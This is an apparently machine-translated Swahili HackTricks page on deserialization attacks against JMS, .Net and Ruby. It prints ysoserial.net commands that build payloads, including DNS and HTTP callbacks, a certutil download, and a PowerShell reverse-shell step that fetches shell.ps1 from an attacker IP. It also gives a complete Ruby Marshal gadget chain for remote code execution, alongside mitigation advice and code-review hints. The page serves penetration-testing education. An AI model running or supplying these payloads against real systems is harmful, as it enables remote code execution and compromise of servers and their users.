API ya Java Message Service (JMS) ni API ya Java ya kati ya ujumbe kwa kutuma ujumbe kati ya wateja wawili au zaidi. Ni utekelezaji wa kutatua tatizo la mtengenezaji-mteja. JMS ni sehemu ya Java Platform, Enterprise Edition (Java EE), na ilidefiniwa kupitia specifikesheni iliyoundwa na Sun Microsystems, lakini sasa inaongozwa na Java Community Process. Ni kiwango cha ujumbe kinachoruhusu vipengele vya programu zinazotegemea Java EE kuunda, kutuma, kupokea, na kusoma ujumbe. Inaruhusu mawasiliano kati ya vipengele tofauti vya programu iliyosambazwa kuwa huru, imara, na isiyo ya moja kwa moja. (Kutoka Wikipedia).

Bidhaa

Kuna bidhaa kadhaa zinazotumia hii huduma ya kati ya ujumbe kutuma ujumbe:

Utekaji

Kwa hiyo, kimsingi kuna huduma nyingi zinazotumia JMS kwa njia hatari. Kwa hivyo, ikiwa una mamlaka za kutosha kutuma ujumbe kwa huduma hizi (kawaida utahitaji anwani halali) unaweza kuweza kutuma vitengo vilivyoseriwa vibaya ambavyo vitadeseriwa na mtumiaji anayepokea. Hii inamaanisha kwamba katika utekaji huu wateja wote wanaotumia ujumbe huo watapata maambukizi.

Kumbuka kwamba hata kama huduma ni dhaifu (kwa sababu inadeseriliza kuingia kwa mtumiaji kwa njia isiyokuwa salama) bado unahitaji kutafuta vitengo sahihi vya kutumia kasoro.

Zana ya JMET iliumbwa ku kuunganisha na kushambulia huduma hizi kwa kutuma vitengo vingi vilivyoseriwa kwa kutumia vitengo vilivyothibitishwa. Mashambulizi haya yatafanya kazi ikiwa huduma bado ni dhaifu na ikiwa kuna kati ya vitengo vilivyotumiwa ndani ya programu dhaifu.

Marejeo

.Net

Katika muktadha wa .Net, mbinu za utekaji wa deserialization hufanya kazi kwa njia inayofanana na ile inayopatikana katika Java, ambapo vitengo vinatumika kutekeleza nambari maalum wakati wa deserialization ya kitu.

Kalamafuta

Kasha

Msimbo wa chanzo unapaswa kukaguliwa kwa matukio ya:

  1. TypeNameHandling

  2. JavaScriptTypeResolver

Makini inapaswa kuwa kwenye wachambuzi wa data ambao huruhusu aina ya data kubainishwa na kudhibitiwa na mtumiaji.

Kasha Nyeusi

Utafutaji unapaswa kulenga mfuatano wa herufi ulioandikwa kwa Base64 AAEAAAD///// au mfuatano wowote unaofanana ambao unaweza kufanyiwa deserialization upande wa server, ukiruhusu kudhibiti aina ya data itakayodeserialized. Hii inaweza kujumuisha, lakini sio mdogo kwa, miundo ya JSON au XML inayoonyesha TypeObject au $type.

ysoserial.net

Katika kesi hii unaweza kutumia zana ysoserial.net ili kuunda mashambulizi ya deserialization. Mara baada ya kupakua hazina ya git unapaswa kukusanya zana kwa kutumia Visual Studio kwa mfano.

Ikiwa unataka kujifunza kuhusu jinsi ysoserial.net inavyounda shambulizi lake unaweza kutazama ukurasa huu ambapo inaelezwa kifaa cha ObjectDataProvider + ExpandedWrapper + mfumo wa Json.Net.

Chaguo kuu za ysoserial.net ni: --gadget, --formatter, --output na --plugin.

  • --gadget hutumiwa kuonyesha kifaa cha kutumia (onyesha darasa/funguo litakalotumiwa wakati wa deserialization kutekeleza amri).

  • --formatter, hutumiwa kuonyesha njia ya kuhifadhi shambulizi (unahitaji kujua ni maktaba ipi inayotumiwa nyuma ya pazia kudeserialize mzigo na kutumia hiyo hiyo kuihifadhi)

  • --output hutumiwa kuonyesha ikiwa unataka shambulizi kwa muundo wa raw au ulio encoded kwa Base64. Tafadhali kumbuka kwamba ysoserial.net ita encode mzigo kwa kutumia UTF-16LE (encoding inayotumiwa kwa chaguo msingi kwenye Windows) hivyo ikiwa unapata raw na kuencode kutoka kwa konsoli ya linux unaweza kupata baadhi ya matatizo ya utangamanifu wa encoding ambayo itazuia shambulizi kufanya kazi ipasavyo (kwenye sanduku la JSON la HTB mzigo ulifanya kazi kwa UTF-16LE na ASCII lakini hii haimaanishi itafanya kazi kila wakati).

  • --plugin ysoserial.net inasaidia programu-jalizi za kutengeneza mashambulizi kwa mifumo maalum kama ViewState

Vigezo zaidi vya ysoserial.net

  • --minify itatoa mzigo mdogo (ikiwezekana)

  • --raf -f Json.Net -c "chochote" Hii itaonyesha vifaa vyote vinavyoweza kutumiwa na mfumo wa kuhifadhi uliopewa (Json.Net katika kesi hii)

  • --sf xml unaweza kuonyesha kifaa (-g) na ysoserial.net itatafuta wachambuzi wa data wenye "xml" (bila kujali herufi kubwa au ndogo)

Mifano ya ysoserial.net ya kuunda mashambulizi:

#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net pia ina parameter ya kuvutia sana ambayo husaidia kuelewa vizuri jinsi kila shambulio linavyofanya kazi: --test Ikiwa unaashiria parameter hii, ysoserial.net ita jaribu shambulio kitaalam, hivyo unaweza kujaribu kama mzigo wako utafanya kazi kwa usahihi. Parameter hii ni ya manufaa kwa sababu ukirejea nambari utapata vipande vya nambari kama hii ifuatayo (kutoka ObjectDataProviderGenerator.cs):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Hii inamaanisha kwamba ili kufanya majaribio ya kutumia mwanya huo, msimbo utaita serializersHelper.JsonNet_deserialize

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Katika mifano iliyopita ni dhaifu kwa shambulio lililoundwa. Kwa hivyo, ikiwa unapata kitu kama hicho katika maombi ya .Net inamaanisha labda maombi hayo ni dhaifu pia. Kwa hivyo parameter ya --test inaruhusu kuelewa vipande vipi vya nambari ni dhaifu kwa shambulio la deserialization ambalo ysoserial.net inaweza kuunda.

ViewState

Tazama POST hii kuhusu jinsi ya jaribu kutumia parameter ya __ViewState ya .Net kutekeleza nambari ya kupindukia. Ikiwa tayari unajua siri zilizotumiwa na mashine ya mwathiriwa, soma chapisho hili kujua jinsi ya kutekeleza nambari.

Kuzuia

Ili kupunguza hatari zinazohusiana na deserialization katika .Net:

  • Epuka kuruhusu mtiririko wa data kufafanua aina zao za vitu. Tumia DataContractSerializer au XmlSerializer ikiwezekana.

  • Kwa JSON.Net, weka TypeNameHandling kuwa None: %%%TypeNameHandling = TypeNameHandling.None%%%

  • Epuka kutumia JavaScriptSerializer na JavaScriptTypeResolver.

  • Punguza aina zinazoweza kudeserializwa, ukiwa na ufahamu wa hatari zilizojumuishwa na aina za .Net, kama vile System.IO.FileInfo, ambayo inaweza kurekebisha mali za faili za seva, ikisababisha mashambulizi ya kukataa huduma.

  • Kuwa mwangalifu na aina zenye mali zenye hatari, kama System.ComponentModel.DataAnnotations.ValidationException na mali yake ya Value, ambayo inaweza kutumiwa vibaya.

  • Kudhibiti kwa usalama uanzishaji wa aina ili kuzuia wachomaji kutoka kuathiri mchakato wa deserialization, hata DataContractSerializer au XmlSerializer inaweza kuwa dhaifu.

  • Tumia udhibiti wa orodha nyeupe kwa kutumia SerializationBinder ya desturi kwa BinaryFormatter na JSON.Net.

  • Baki na habari kuhusu vifaa vya deserialization visivyo salama ndani ya .Net na hakikisha deserializers hawazindui aina kama hizo.

  • Tenganisha nambari zenye hatari kutoka kwa nambari yenye ufikiaji wa mtandao ili kuepuka kufunua vifaa vilivyofahamika, kama vile System.Windows.Data.ObjectDataProvider katika maombi ya WPF, kwa vyanzo vya data visivyoaminika.

Vyanzo

Ruby

Katika Ruby, uhuishaji unaruhusiwa na njia mbili ndani ya maktaba ya marshal. Njia ya kwanza, inayoitwa dump, hutumiwa kubadilisha kitu kuwa mtiririko wa byte. Mchakato huu unaitwa uhuishaji. Kinyume chake, njia ya pili, load, hutumiwa kurejesha mtiririko wa byte kuwa kitu, mchakato unaoitwa deserialization.

Kwa kuhakikisha vitu vilivyohuishwa, Ruby hutumia HMAC (Hash-Based Message Authentication Code), ikidhibitisha uadilifu na uhalali wa data. Kichwa kinachotumiwa kwa kusudi hili kimehifadhiwa katika moja ya maeneo kadhaa yanayowezekana:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Mnyororo wa vifaa vya deserialization ya jumla ya Ruby 2.X hadi RCE (maelezo zaidi katika https://www.elttam.com/blog/ruby-deserialization/):

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Mnyororo mwingine wa RCE kwa kufaidika na Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Last updated